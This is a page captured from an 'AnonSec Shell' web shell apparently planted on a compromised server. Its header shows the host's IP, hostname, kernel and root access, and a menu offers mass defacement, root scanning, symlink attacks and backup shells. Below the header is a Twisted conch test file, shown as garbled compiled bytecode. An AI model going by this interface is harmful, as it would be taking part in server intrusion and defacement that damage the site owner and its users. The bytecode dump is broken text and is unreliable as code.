AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/conch/test/__pycache__/test_insults.cpython-310.pyc
o

�b�}�@sbddlZddlmZmZddlmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZmZmZddlmZddlmZddlmZmZddlmZddlmZd	d
�Zdd�Zd
d�Zdd�Z e!�Z"dd�Z#dd�Z$e$ddgd�gd�gd�gd�gd�gd�gd�gd�gd�gd �gd!�gd"�gd#�gd$�gd%�gd&�ge�%d'�d(�Z&e$d)ddd*gdd+gd,d-gd.d/gdd0gd1d2gd3d4gd5d6gd7d8gd9dgd:d;gd<d=gd>d?gd@dAgdBdCgdDdEgge�%dF�d(�Z'GdGdH�dH�Z(GdIdJ�dJ�Z)dKZ*GdLdM�dMe)�Z+[*GdNdO�dOe+ej,�Z-GdPdQ�dQe+ej,�Z.GdRdS�dSe+ej,�Z/GdTdU�dUe+ej,�Z0GdVdW�dWej,e)�Z1GdXdY�dYej,�Z2dS)Z�N)�Optional�Type)
�BLINK�CS_ALTERNATE�CS_ALTERNATE_SPECIAL�
CS_DRAWING�CS_UK�CS_US�G0�G1�	UNDERLINE�ClientProtocol�ServerProtocol�modes�privateModes)�Protocol)�	iterbytes)�
ValueConstant�Values)�StringTransport)�unittestcCstt|��|�S�N)�super�Mock�__getattribute__)�mock�name�r�A/usr/lib/python3/dist-packages/twisted/conch/test/test_insults.py�_getattrsrcC�
t|d�S)N�occurrences�r�rrrrr!"�
r!cCr )N�methodsr"r#rrrr%&r$r%cCst|��|�dSr)r!�append)r�objrrr�_append*sr(cCstt|d>|Bg��S)a
    Return the byte in 7- or 8-bit code table identified by C{column}
    and C{row}.

    "An 8-bit code table consists of 256 positions arranged in 16
    columns and 16 rows.  The columns and rows are numbered 00 to 15."

    "A 7-bit code table consists of 128 positions arranged in 8
    columns and 16 rows.  The columns are numbered 00 to 07 and the
    rows 00 to 15 (see figure 1)."

    p.5 of "Standard ECMA-35: Character Code Structure and Extension
    Techniques", 6th Edition (December 1994).
    �)�bytes�	bytearray)�column�rowrrr�_ecmaCodeTableCoordinate1sr.cs,�fdd�t|�D�}||d<t|tf|�S)Ncs:i|]\}}t|�D]\}}|r
|tt|�|���q
qSr)�	enumeraterr.)�.0�jr-�ir��	colOffsetrr�
<dictcomp>Js���z/_makeControlFunctionSymbols.<locals>.<dictcomp>�__doc__)r/�typer)rr4�names�doc�attrsrr3r�_makeControlFunctionSymbolsEs

�r;�CSFinalByter))�ICH�DCH�HPA)�CUU�SSE�HPR)�CUD�CPR�REP)�CUF�SU�DA)�CUB�SD�VPA)�CNL�NP�VPR)�CPL�PP�HVP)�CHA�CTC�TBC)�CUP�ECH�SM)�CHT�CVT�MC)�ED�CBT�HPB)�EL�SRS�VPB)�IL�PTX�RM)�DL�SDS�SGR)�EF�SIMD�DSR)�EAN�DAQaW
    Symbolic constants for all control sequence final bytes
    that do not imply intermediate bytes.  This happens to cover
    movement control sequences.

    See page 11 of "Standard ECMA 48: Control Functions for Coded
    Character Sets", 5th Edition (June 1991).

    Each L{ValueConstant} maps a control sequence name to L{bytes}
    )r4r8r9�
C1SevenBit�DCS�PU1�BPH�PU2�NBH�STS�CCH�NEL�MW�SSA�SPA�ESA�EPA�HTS�SOS�HTJ�VTS�SCI�PLD�CSI�PLU�ST�RI�OSC�SS2�PM�SS3�APCa
    Symbolic constants for all 7 bit versions of the C1 control functions

    See page 9 "Standard ECMA 48: Control Functions for Coded
    Character Sets", 5th Edition (June 1991).

    Each L{ValueConstant} maps a control sequence name to L{bytes}
    c@s.eZdZeZdefdd�Zdd�Zdd�ZdS)rNcCs.g|_|dur	i}||_|tur||_dSdS)z�
        @param methods: Mapping of names to return values
        @param callReturnValue: object __call__ should return
        N)r!r%�default�callReturnValue)�selfr%r�rrr�__init__�s
�z
Mock.__init__cOs.t|d�}|turt�}t|d|||f�|S)Nr��__call__)rr�rr()r��a�kw�returnValuerrrr��s

z
Mock.__call__cCs:t|d�}||vrt||d�}nt�}t|||f�|S)Nr%)r�)rrr()r�rr%�	attrValuerrrr�s
zMock.__getattribute__)�__name__�
__module__�__qualname__r�r�r�r�rrrrrr�s
rc@seZdZdifdd�ZdS)�	MockMixinrcCsb|\}}|�||�|�tt|��d�t|�\\}}}	}
|�|d�|�|	|�|�|
|�|S)N�r�)�assertEqual�lenr!)r��
occurrence�
methodName�expectedPositionalArgs�expectedKeywordArgs�attrr�call�result�argsr�rrr�
assertCall�szMockMixin.assertCallN)r�r�r�r�rrrrr��s�r�a�def testByte%(groupName)s(self):
    transport = StringTransport()
    proto = Mock()
    parser = self.protocolFactory(lambda: proto)
    parser.factory = self
    parser.makeConnection(transport)

    bytes = self.TEST_BYTES
    while bytes:
        chunk = bytes[:%(bytesPer)d]
        bytes = bytes[%(bytesPer)d:]
        parser.dataReceived(chunk)

    self.verifyResults(transport, proto, parser)
c@sNeZdZUdZeeeed<dD]
\ZZ	e
eee	d��q[[	dd�ZdS)�ByteGroupingsMixinN�protocolFactory))�Pairs�)�Triples�)�Quadsr))�Quints�)�Sexes�)�	groupName�bytesPercCs.|�t|��d�d|f�}|�t|�g�dS)Nr�makeConnection)r�r!�popr�)r��	transport�proto�parserr�rrr�
verifyResults�sz ByteGroupingsMixin.verifyResults)
r�r�r�r�rrr�__annotations__�word�n�exec�_byteGroupingTestTemplater�rrrrr��s
r�c@�eZdZeZdZdd�ZdS)�ServerArrowKeysTestsscCsht�||||�|j|j|j|jfD]}|�t|��d�d|df�}|�	t|�g�q|�
t|��dS)Nr�keystrokeReceived)r�r��UP_ARROW�
DOWN_ARROW�RIGHT_ARROW�
LEFT_ARROWr�r!r�r��assertFalse)r�r�r�r��arrowr�rrrr��s��z"ServerArrowKeysTests.verifyResultsN�r�r�r�rr��
TEST_BYTESr�rrrrr��sr�c@r�)�PrintableCharactersTestssabc123ABC!@#abc123cCs�t�||||�td�D]}|�t|��d�d|df�}|�t|�g�qtd�D]}|�t|��d�d||jf�}|�t|�g�q)t|�}|�||�d��dS)Nsabc123ABC!@#rr�sabc123z should have been [])	r�r�rr�r!r�r��ALTr�)r�r�r�r��charr��occsrrrr�s��z&PrintableCharactersTests.verifyResultsNr�rrrrr�sr�c@sFeZdZdZeZgZdD]	Ze�de�qd�	e�Z
[[dd�ZdS)�ServerFunctionKeysTestsz9Test for parsing and dispatching function keys (F1 - F12))sOPsOQsORsOSs15~s17~s18~s19~s20~s21~s23~s24~�[�cCsnt�||||�tdd�D] }t|d|f�}|�t|��d�d|df�}|�t|�g�q
|�t|��dS)Nr��
zF%drr�)	r�r��range�getattrr�r!r�r�r�)r�r�r�r��funcNum�funcArgr�rrrr�;s�z%ServerFunctionKeysTests.verifyResultsN)r�r�r�r6rr��byteList�	byteCodesr&�joinr�r�rrrrr�#s
r�c@sHeZdZeZdZdZdZdZeeeeeeZ	[[[[dd�Z
dS)�ClientCursorMovementTestssssscCs^t�||||�dD]\}}|�t|��d�d||f�}|�t|�g�q
|�t|��dS)N))�Downr�)�Forwardr)��Upr���Backwardr�r�r�r�cursor)r�r�r�r!r�r�r�)r�r�r�r��method�countr�rrrr�Qs�z'ClientCursorMovementTests.verifyResultsN)r�r�r�r
r��d2�r4�u1�l2r�r�rrrrr�Fsr�c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-S).�ClientControlSequencesTestscsht��_t��_t�fdd���_��j_�j��j���t	�j��
d�d�jf�}��t	|��dS)Ncs�jSr)r�r�r�rr�<lambda>gsz3ClientControlSequencesTests.setUp.<locals>.<lambda>rr�)rr�rr�r
r��factoryr�r�r!r�r�)r�r�rr�r�setUpds�z!ClientControlSequencesTests.setUpcCst|j�d�dd�td�D���t|j�}dD]}dD]}|�|�d�d||f�}|�t|��qq|�|�dS)	Nr�css&�|]}dD]	}d||VqqdS))r��2s20s200r�Nr)r0�chr�rrr�	<genexpr>qs��
��zBClientControlSequencesTests.testSimpleCardinals.<locals>.<genexpr>sBACD)r�r�r�r�)r�r����rr�)	r��dataReceivedr�rr!r�r�r�r�)r�r��methr�r�rrr�testSimpleCardinalsos
��
�z/ClientControlSequencesTests.testSimpleCardinalscCsh|j�d�t|j�}|�|�d�dd�}|�t|��|�|�d�dd�}|�t|��|�|�dS)Ns
r�setScrollRegion)r��)NN�r�r�r!r�r�r�r��r�r�r�rrr�testScrollRegions
z,ClientControlSequencesTests.testScrollRegioncCs�|j�d�t|j�}|�|�d�dd�}|�t|��|�|�d�dd�}|�t|��|�|�d�d�}|�t|��|�|�d�d�}|�t|��|�|�dS)Ns#3#4#5#6r�doubleHeightLine)T)F�singleWidthLine�doubleWidthLiner�r�rrr�testHeightAndWidth�s
z.ClientControlSequencesTests.testHeightAndWidthcCs�|j�d�dd�td�D���t|j�}ttfD]}tt	t
ttfD]}|�
|�d�d||f�}|�t|��q"q|�|�dS)Nr�cs(g|]�d��fdd�td�D���qS)r�csg|]}d�|�qS)�r)r0r���grr�
<listcomp>�szKClientControlSequencesTests.testCharacterSet.<locals>.<listcomp>.<listcomp>sAB012)r�r)r0rr�rr��s��z@ClientControlSequencesTests.testCharacterSet.<locals>.<listcomp>s()r�selectCharacterSet)r�r�r�rr!r�r
rrr	rrrr�r�r�)r�r��which�charsetr�rrr�testCharacterSet�s*���
���z,ClientControlSequencesTests.testCharacterSetcC�d|j�d�t|j�}|�|�d�d�}|�t|��|�|�d�d�}|�t|��|�|�dS)Nsr�shiftIn�shiftOutr�r�rrr�testShifting��
z(ClientControlSequencesTests.testShiftingcCr)NsNOr�singleShift2�singleShift3r�r�rrr�testSingleShifts�rz,ClientControlSequencesTests.testSingleShiftscCr)Ns=>r�applicationKeypadMode�numericKeypadModer�r�rrr�testKeypadMode�rz*ClientControlSequencesTests.testKeypadModecCr)Ns78r�
saveCursor�
restoreCursorr�r�rrr�
testCursor�rz&ClientControlSequencesTests.testCursorcCsD|j�d�t|j�}|�|�d�d�}|�t|��|�|�dS)Nscr�resetr�r�rrr�	testReset�s

z%ClientControlSequencesTests.testResetcCs�|j�d�t|j�}|�|�d�d�}|�t|��|�|�d�d�}|�t|��|�|�d�d�}|�t|��|�|�dS)NsDMEr�index�reverseIndex�nextLiner�r�rrr�	testIndex�s
z%ClientControlSequencesTests.testIndexc	Cs�|j�dd�dd�tjtjtjfD��d�|j�dd�dd�tjtjtjfD��d�t|j�}|�	|�
d�d	tjtjtjgf�}|�t|��|�	|�
d�d
tjtjtjgf�}|�t|��|�|�dS)Nr��;cs��|]}d|fVqdS�s%dNr�r0�mrrrr����z8ClientControlSequencesTests.testModes.<locals>.<genexpr>�hcsrrrrrrrr��r�lr�setModes�
resetModes)r�r�r�r�KAM�IRM�LNMr!r�r�r�r�r�rrr�	testModes�s0������
��z%ClientControlSequencesTests.testModescCsp|j�d�t|j�}dD]}|�|�d�|�}|�t|��q
|�|�d�dd�}|�t|��|�|�dS)Ns)�eraseToLineEnd�eraseToLineBeginning�	eraseLine�eraseToDisplayEnd�eraseToDisplayBeginning�eraseDisplayr�deleteCharacter)r�r�)r�r�r�r�rrr�testErasures
z'ClientControlSequencesTests.testErasurecC�R|j�d�t|j�}dD]}|�|�d�d|f�}|�t|��q
|�|�dS)Ns�r�r�r�
deleteLiner��r�r��argr�rrr�testLineDeletion!�
z,ClientControlSequencesTests.testLineDeletioncCr*)Nsr+r�
insertLiner�r-rrr�testLineInsertion*r0z-ClientControlSequencesTests.testLineInsertioncCsXdt|j�d<|j�d�|�|j��d�t|j�}|�|�	d�d�}|�|d�dS)N)r���reportCursorPositionssr)
r%r�r�r�r�r��valuer!r�r�r�rrr�testCursorPosition3s
z.ClientControlSequencesTests.testCursorPositioncCsNt|j�}|j�d�|�|�d�dd�|j�d�|�|�d�dd�dS)z�
        Contiguous non-control bytes are passed to a single call to the
        C{write} method of the terminal to which the L{ClientProtocol} is
        connected.
        �ar�write)r7�bc)r9N)r!r�r�r�r�r�)r�r�rrr�test_applicationDataBytes>s

z5ClientControlSequencesTests.test_applicationDataBytescCsRt|j�}|j�|�|r|j|�d�g|�d��R�|s
|�|d|���dS)NrzNo other calls should happen: )r!r�r�r�r�r�r�)r��data�callsr�rrr�_applicationDataTestJs
�z0ClientControlSequencesTests._applicationDataTestcC�|�dddg�dS)z�
        Application data bytes followed by a shift-in command are passed to a
        call to C{write} before the terminal's C{shiftIn} method is called.
        sab�r8)sab)rN�r=r�rrr� test_shiftInAfterApplicationDataQ�z<ClientControlSequencesTests.test_shiftInAfterApplicationDatacCr>)z�
        Application data bytes followed by a shift-out command are passed to a
        call to C{write} before the terminal's C{shiftOut} method is called.
        sabr?)rNr@r�rrr�!test_shiftOutAfterApplicationDataXrBz=ClientControlSequencesTests.test_shiftOutAfterApplicationDatacCr>)z�
        Application data bytes followed by a cursor-backward command are passed
        to a call to C{write} before the terminal's C{cursorBackward} method is
        called.
        sabr?)�cursorBackwardNr@r�rrr�'test_cursorBackwardAfterApplicationData_szCClientControlSequencesTests.test_cursorBackwardAfterApplicationDatacCs,|�dddg�|�ddddgffg�dS)z�
        Application data bytes followed by an escape character are passed to a
        call to C{write} before the terminal's handler method for the escape is
        called.
        sabDr?)rsabrr)Nr@r�rrr�test_escapeAfterApplicationDatags�z;ClientControlSequencesTests.test_escapeAfterApplicationDataN)r�r�r�r�r�r�r�r�rrr
r
rrr!r)r/r2r6r:r=rArCrErFrrrrr�cs.		r�c@s eZdZdZedd�Zeedd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Z d9d:�Z!d;d<�Z"d=d>�Z#d?d@�Z$dAdB�Z%dCS)D�ServerProtocolOutputTestszh
    Tests for the bytes L{ServerProtocol} writes to its transport when its
    methods are called.
    r��r�cCs"t�|_t�|_|j�|j�dSr)r�protocolrr�r�r�rrrr��szServerProtocolOutputTests.setUpcC�0|j�d�|�|j��|jdtjj�dS)z�
        L{ServerProtocol.cursorUp} writes the control sequence
        ending with L{CSFinalByte.CUU} to its transport.
        r��1N)rI�cursorUpr�r�r5r�r<r@r�rrr�
test_cursorUp���z'ServerProtocolOutputTests.test_cursorUpcCrJ)z�
        L{ServerProtocol.cursorDown} writes the control sequence
        ending with L{CSFinalByte.CUD} to its transport.
        r�rKN)rI�
cursorDownr�r�r5r�r<rCr�rrr�test_cursorDown�rNz)ServerProtocolOutputTests.test_cursorDowncCrJ)z�
        L{ServerProtocol.cursorForward} writes the control sequence
        ending with L{CSFinalByte.CUF} to its transport.
        r�rKN)rI�
cursorForwardr�r�r5r�r<rFr�rrr�test_cursorForward�rNz,ServerProtocolOutputTests.test_cursorForwardcCrJ)z�
        L{ServerProtocol.cursorBackward} writes the control sequence
        ending with L{CSFinalByte.CUB} to its transport.
        r�rKN)rIrDr�r�r5r�r<rIr�rrr�test_cursorBackward�rNz-ServerProtocolOutputTests.test_cursorBackwardcCs2|j�dd�|�|j��|jdtjj�dS)z�
        L{ServerProtocol.cursorPosition} writes a control sequence
        ending with L{CSFinalByte.CUP} and containing the expected
        coordinates to its transport.
        rs1;1N)rI�cursorPositionr�r�r5r�r<rUr�rrr�test_cursorPosition�s�z-ServerProtocolOutputTests.test_cursorPositioncC�*|j��|�|j��|jtjj�dS)z�
        L{ServerProtocol.cursorHome} writes a control sequence ending
        with L{CSFinalByte.CUP} and no parameters, so that the client
        defaults to (1, 1).
        N)rI�
cursorHomer�r�r5r�r<rUr�rrr�test_cursorHome��
 z)ServerProtocolOutputTests.test_cursorHomecCs,|j��|�|j��|jtdd��dS)z�
        L{ServerProtocol.index} writes the control sequence ending in
        the 8-bit code table coordinates 4, 4.

        Note that ECMA48 5th Edition removes C{IND}.
        r)N)rIrr�r�r5�ESCr.r�rrr�
test_index�s
�z$ServerProtocolOutputTests.test_indexcCrV)zt
        L{ServerProtocol.reverseIndex} writes the control sequence
        ending in the L{C1SevenBit.RI}.
        N)rIrr�r�r5rZrlr�r�rrr�test_reverseIndex��
 z+ServerProtocolOutputTests.test_reverseIndexcCs |j��|�|j��d�dS)zM
        L{ServerProtocol.nextLine} writes C{"
"} to its transport.
        s
N)rIrr�r�r5r�rrr�
test_nextLine�s
z'ServerProtocolOutputTests.test_nextLinecC�Ptjtjtjg}|j�|�|�|j��|j	d�
dd�|D��tjj�dS)z�
        L{ServerProtocol.setModes} writes a control sequence
        containing the requested modes and ending in the
        L{CSFinalByte.SM}.
        rcsrrrrrrrr��rz:ServerProtocolOutputTests.test_setModes.<locals>.<genexpr>N)
rrrr rIrr�r�r5r�r�r<rW�r��
modesToSetrrr�
test_setModes�s���z'ServerProtocolOutputTests.test_setModescCr_)z�
        L{ServerProtocol.setPrivatesModes} writes a control sequence
        containing the requested private modes and ending in the
        L{CSFinalByte.SM}.
        rcsrrrrrrrr�rzAServerProtocolOutputTests.test_setPrivateModes.<locals>.<genexpr>N)
r�ERROR�COLUMN�ORIGINrIrr�r�r5r�r�r<rW)r��privateModesToSetrrr�test_setPrivateModes�s����z.ServerProtocolOutputTests.test_setPrivateModescCr_)zs
        L{ServerProtocol.resetModes} writes the control sequence
        ending in the L{CSFinalByte.RM}.
        rcsrrrrrrrr�rz<ServerProtocolOutputTests.test_resetModes.<locals>.<genexpr>N)
rrrr rIrr�r�r5r�r�r<rcr`rrr�test_resetModess���z)ServerProtocolOutputTests.test_resetModescCrV)zp
        L{ServerProtocol.singleShift2} writes an escape sequence
        followed by L{C1SevenBit.SS2}
        N)rIrr�r�r5rZrlr�r�rrr�test_singleShift2r]z+ServerProtocolOutputTests.test_singleShift2cCrV)zp
        L{ServerProtocol.singleShift3} writes an escape sequence
        followed by L{C1SevenBit.SS3}
        N)rIrr�r�r5rZrlr�r�rrr�test_singleShift3r]z+ServerProtocolOutputTests.test_singleShift3cCsB|j�tt�tt��|�|j��|jdttft	j
j�dS)z�
        L{ServerProtocol.selectGraphicRendition} writes a control
        sequence containing the requested attributes and ending with
        L{CSFinalByte.SGR}
        s%d;%dN)rI�selectGraphicRendition�strrrr�r�r5r�r<rfr�rrr�test_selectGraphicRendition$s
�z5ServerProtocolOutputTests.test_selectGraphicRenditioncCrV)zz
        L{ServerProtocol.horizontalTabulationSet} writes the escape
        sequence ending in L{C1SevenBit.HTS}
        N)rI�horizontalTabulationSetr�r�r5rZrlrzr�rrr�test_horizontalTabulationSet0r]z6ServerProtocolOutputTests.test_horizontalTabulationSetcCrV)a
        L{ServerProtocol.eraseToLineEnd} writes the control sequence
        sequence ending in L{CSFinalByte.EL} and no parameters,
        forcing the client to default to 0 (from the active present
        position's current location to the end of the line.)
        N)rIr"r�r�r5r�r<r^r�rrr�test_eraseToLineEnd8�
 z-ServerProtocolOutputTests.test_eraseToLineEndcC�.|j��|�|j��|jdtjj�dS)a	
        L{ServerProtocol.eraseToLineBeginning} writes the control
        sequence sequence ending in L{CSFinalByte.EL} and a parameter
        of 1 (from the beginning of the line up to and include the
        active present position's current location.)
        rKN)rIr#r�r�r5r�r<r^r�rrr�test_eraseToLineBeginningB�
$z3ServerProtocolOutputTests.test_eraseToLineBeginningcCrr)z�
        L{ServerProtocol.eraseLine} writes the control
        sequence sequence ending in L{CSFinalByte.EL} and a parameter
        of 2 (the entire line.)
        r�N)rIr$r�r�r5r�r<r^r�rrr�test_eraseLineL�
$z(ServerProtocolOutputTests.test_eraseLinecCrV)a
        L{ServerProtocol.eraseToDisplayEnd} writes the control
        sequence sequence ending in L{CSFinalByte.ED} and no parameters,
        forcing the client to default to 0 (from the active present
        position's current location to the end of the page.)
        N)rIr%r�r�r5r�r<r[r�rrr�test_eraseToDisplayEndUrqz0ServerProtocolOutputTests.test_eraseToDisplayEndcCrr)a
        L{ServerProtocol.eraseToDisplayBeginning} writes the control
        sequence sequence ending in L{CSFinalByte.ED} a parameter of 1
        (from the beginning of the page up to and include the active
        present position's current location.)
        rKN)rIr&r�r�r5r�r<r[r�rrr�test_eraseToDisplayBeginning_rtz6ServerProtocolOutputTests.test_eraseToDisplayBeginningcCrr)z�
        L{ServerProtocol.eraseDisplay} writes the control sequence
        sequence ending in L{CSFinalByte.ED} a parameter of 2 (the
        entire page)
        r�N)rIr'r�r�r5r�r<r[r�rrr�test_eraseToDisplayirvz-ServerProtocolOutputTests.test_eraseToDisplaycCrJ)z�
        L{ServerProtocol.deleteCharacter} writes the control sequence
        containing the number of characters to delete and ending in
        L{CSFinalByte.DCH}
        r)�4N)rIr(r�r�r5r�r<r>r�rrr�test_deleteCharacterrs�z.ServerProtocolOutputTests.test_deleteCharactercCrJ)z�
        L{ServerProtocol.insertLine} writes the control sequence
        containing the number of lines to insert and ending in
        L{CSFinalByte.IL}
        r��5N)rIr1r�r�r5r�r<rar�rrr�test_insertLine}�$z)ServerProtocolOutputTests.test_insertLinecCrJ)z�
        L{ServerProtocol.deleteLine} writes the control sequence
        containing the number of lines to delete and ending in
        L{CSFinalByte.DL}
        r��6N)rIr,r�r�r5r�r<rdr�rrr�test_deleteLine�r~z)ServerProtocolOutputTests.test_deleteLinecCs*|j��|�|j��|jdd�dS)z�
        With no arguments, L{ServerProtocol.setScrollRegion} writes a
        control sequence with no parameters, but a parameter
        separator, and ending in C{b'r'}.
        r�rN�rIr�r�r�r5r�r�rrr�test_setScrollRegionNoArgs�rYz4ServerProtocolOutputTests.test_setScrollRegionNoArgscC�.|jjdd�|�|j��|jdd�dS)z�
        With just a value for its C{first} argument,
        L{ServerProtocol.setScrollRegion} writes a control sequence with
        that parameter, a parameter separator, and finally a C{b'r'}.
        r�)�firsts1;r�Nr�r�rrr�test_setScrollRegionJustFirst�� z7ServerProtocolOutputTests.test_setScrollRegionJustFirstcCr�)z�
        With just a value for its C{last} argument,
        L{ServerProtocol.setScrollRegion} writes a control sequence with
        a parameter separator, that parameter, and finally a C{b'r'}.
        r�)�lasts;1r�Nr�r�rrr�test_setScrollRegionJustLast�r�z6ServerProtocolOutputTests.test_setScrollRegionJustLastcCs0|jjddd�|�|j��|jdd�dS)z�
        When given both C{first} and C{last}
        L{ServerProtocol.setScrollRegion} writes a control sequence with
        the first parameter, a parameter separator, the last
        parameter, and finally a C{b'r'}.
        r�r�)r�r�s1;2r�Nr�r�rrr� test_setScrollRegionFirstAndLast�s z:ServerProtocolOutputTests.test_setScrollRegionFirstAndLastcCrr)z�
        L{ServerProtocol.reportCursorPosition} writes a control
        sequence ending in L{CSFinalByte.DSR} with a parameter of 6
        (the Device Status Report returns the current active
        position.)
        rN)rIr4r�r�r5r�r<rir�rrr�test_reportCursorPosition�s
�z3ServerProtocolOutputTests.test_reportCursorPositionN)&r�r�r�r6r.rZr�r�rMrPrRrSrUrXr[r\r^rbrgrhrirjrmrorprsrurwrxryr{r}r�r�r�r�r�r�rrrrrGysF




	


	

						
rG)3�textwrap�typingrr�twisted.conch.insults.insultsrrrrrr	r
rrr
rrr�twisted.internet.protocolr�twisted.python.compatr�twisted.python.constantsrr�twisted.test.proto_helpersr�
twisted.trialrrr!r%r(�objectr�r.r;�dedentr<rlrr�r�r��TestCaser�r�r�r�r�rGrrrr�<module>s�<���%���""#

Anon7 - 2022
AnonSec Team